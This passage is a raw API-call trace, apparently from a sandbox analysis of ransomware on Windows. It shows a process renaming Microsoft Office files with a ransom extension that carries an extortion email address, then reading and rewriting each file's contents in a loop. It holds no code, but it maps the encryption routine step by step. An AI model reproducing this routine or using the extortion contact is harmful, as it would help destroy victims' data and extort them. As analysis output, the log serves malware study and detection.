dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.176] WriteFile (in: hFile=0x67c, lpBuffer=0x6ff0717*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff0717*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.176] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.176] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.176] CloseHandle (hObject=0x67c) returned 1 [0134.177] GetProcessHeap () returned 0x630000 [0134.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff0118 | out: hHeap=0x630000) returned 1 [0134.177] GetProcessHeap () returned 0x630000 [0134.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc88b8 | out: hHeap=0x630000) returned 1 [0134.177] GetProcessHeap () returned 0x630000 [0134.177] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0134.177] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ebddc0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x624, dwReserved0=0xbc87496, dwReserved1=0x6fc88b0, cFileName="BL00248_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0024~1.FIR")) returned 0x6d4e40 [0134.178] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0134.178] Sleep (dwMilliseconds=0x1) [0134.181] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF", len=0x44 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 1 [0134.181] GetProcessHeap () returned 0x630000 [0134.181] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a4) returned 0x66a3e0 [0134.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0134.181] CloseHandle (hObject=0x67c) returned 1 [0134.181] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.182] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0024~2.FIR")) returned 0x6d5480 [0134.182] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0134.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0134.183] GetProcessHeap () returned 0x630000 [0134.183] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3881) returned 0x72abc48 [0134.183] GetProcessHeap () returned 0x630000 [0134.183] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3881) returned 0x72de948 [0134.183] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.183] ReadFile (in: hFile=0x67c, lpBuffer=0x72abc48, nNumberOfBytesToRead=0x3860, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72abc48*, lpNumberOfBytesRead=0x4e7ff0c*=0x3860, lpOverlapped=0x0) returned 1 [0136.308] GetProcessHeap () returned 0x630000 [0136.308] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0136.308] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.308] WriteFile (in: hFile=0x67c, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x4e7ff0c*=0x3860, lpOverlapped=0x0) returned 1 [0136.308] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.308] WriteFile (in: hFile=0x67c, lpBuffer=0x72e21a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e21a7*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.308] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.309] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.309] CloseHandle (hObject=0x67c) returned 1 [0136.310] GetProcessHeap () returned 0x630000 [0136.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0136.310] GetProcessHeap () returned 0x630000 [0136.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72abc48 | out: hHeap=0x630000) returned 1 [0136.310] GetProcessHeap () returned 0x630000 [0136.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0136.310] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17327f95, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3890, dwReserved0=0xbc87496, dwReserved1=0x72abc40, cFileName="BL00247_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0024~2.FIR")) returned 0x6d5340 [0136.311] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0136.311] Sleep (dwMilliseconds=0x1) [0138.092] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", len=0x43 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx") returned 1 [0138.108] GetProcessHeap () returned 0x630000 [0138.108] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a80) returned 0x72b0508 [0138.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0138.109] CloseHandle (hObject=0x4e4) returned 1 [0138.109] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.110] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.110] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wisp.thmx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WISPTH~1.FIR")) returned 0x6d5000 [0138.110] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0138.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0138.111] GetProcessHeap () returned 0x630000 [0138.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ed88b0 [0138.111] GetProcessHeap () returned 0x630000 [0138.111] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fdfd10 [0138.111] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.111] ReadFile (in: hFile=0x4e4, lpBuffer=0x6ed88b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed88b0*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.223] GetProcessHeap () returned 0x630000 [0142.223] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0142.224] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.224] WriteFile (in: hFile=0x4e4, lpBuffer=0x6fdfd10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdfd10*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.224] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.224] WriteFile (in: hFile=0x4e4, lpBuffer=0x6feb10f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6feb10f*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.226] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.226] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.226] CloseHandle (hObject=0x4e4) returned 1 [0142.226] GetProcessHeap () returned 0x630000 [0142.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdfd10 | out: hHeap=0x630000) returned 1 [0142.273] GetProcessHeap () returned 0x630000 [0142.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0142.273] GetProcessHeap () returned 0x630000 [0142.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0142.274] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1ab929ff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbc7e5, dwReserved0=0xbc87496, dwReserved1=0x6ed88a8, cFileName="Wisp.thmx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WISPTH~1.FIR")) returned 0x6d5200 [0142.274] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0142.274] Sleep (dwMilliseconds=0x1) [0142.286] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms", len=0x52 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 1 [0142.287] GetProcessHeap () returned 0x630000 [0142.287] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1cb0) returned 0x7203db8 [0142.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0143.055] CloseHandle (hObject=0x6e0) returned 1 [0143.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe53ae71a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe53ae71a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe5420d88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d59, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="MondoVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOV~1.FIR")) returned 0x6d5200 [0143.087] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0143.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0143.087] GetProcessHeap () returned 0x630000 [0143.087] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x714040 [0143.087] GetProcessHeap () returned 0x630000 [0143.087] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x71f4f08 [0143.087] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.087] ReadFile (in: hFile=0x6e0, lpBuffer=0x714040, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714040*, lpNumberOfBytesRead=0x4e7ff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0143.599] GetProcessHeap () returned 0x630000 [0143.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0143.599] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.599] WriteFile (in: hFile=0x6e0, lpBuffer=0x71f4f08*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f4f08*, lpNumberOfBytesWritten=0x4e7ff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0143.600] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.600] WriteFile (in: hFile=0x6e0, lpBuffer=0x71f7c47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f7c47*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.600] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.600] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.600] CloseHandle (hObject=0x6e0) returned 1 [0143.649] GetProcessHeap () returned 0x630000 [0143.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f4f08 | out: hHeap=0x630000) returned 1 [0143.649] GetProcessHeap () returned 0x630000 [0143.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714040 | out: hHeap=0x630000) returned 1 [0143.649] GetProcessHeap () returned 0x630000 [0143.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0143.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe53ae71a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe53ae71a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b8b4e10, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d7d, dwReserved0=0xbc87496, dwReserved1=0x714038, cFileName="MondoVL_KMS_Client-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MONDOV~1.FIR")) returned 0x6d5040 [0143.860] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0143.860] Sleep (dwMilliseconds=0x1) [0143.872] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC", len=0x42 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC") returned 1 [0143.872] GetProcessHeap () returned 0x630000 [0143.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2684) returned 0x71f7c78 [0143.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0145.433] CloseHandle (hObject=0x674) returned 1 [0145.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.894] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPH_~4.FIR")) returned 0x6d5440 [0146.894] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0146.894] GetProcessHeap () returned 0x630000 [0146.894] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecec90 [0146.894] GetProcessHeap () returned 0x630000 [0146.894] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, 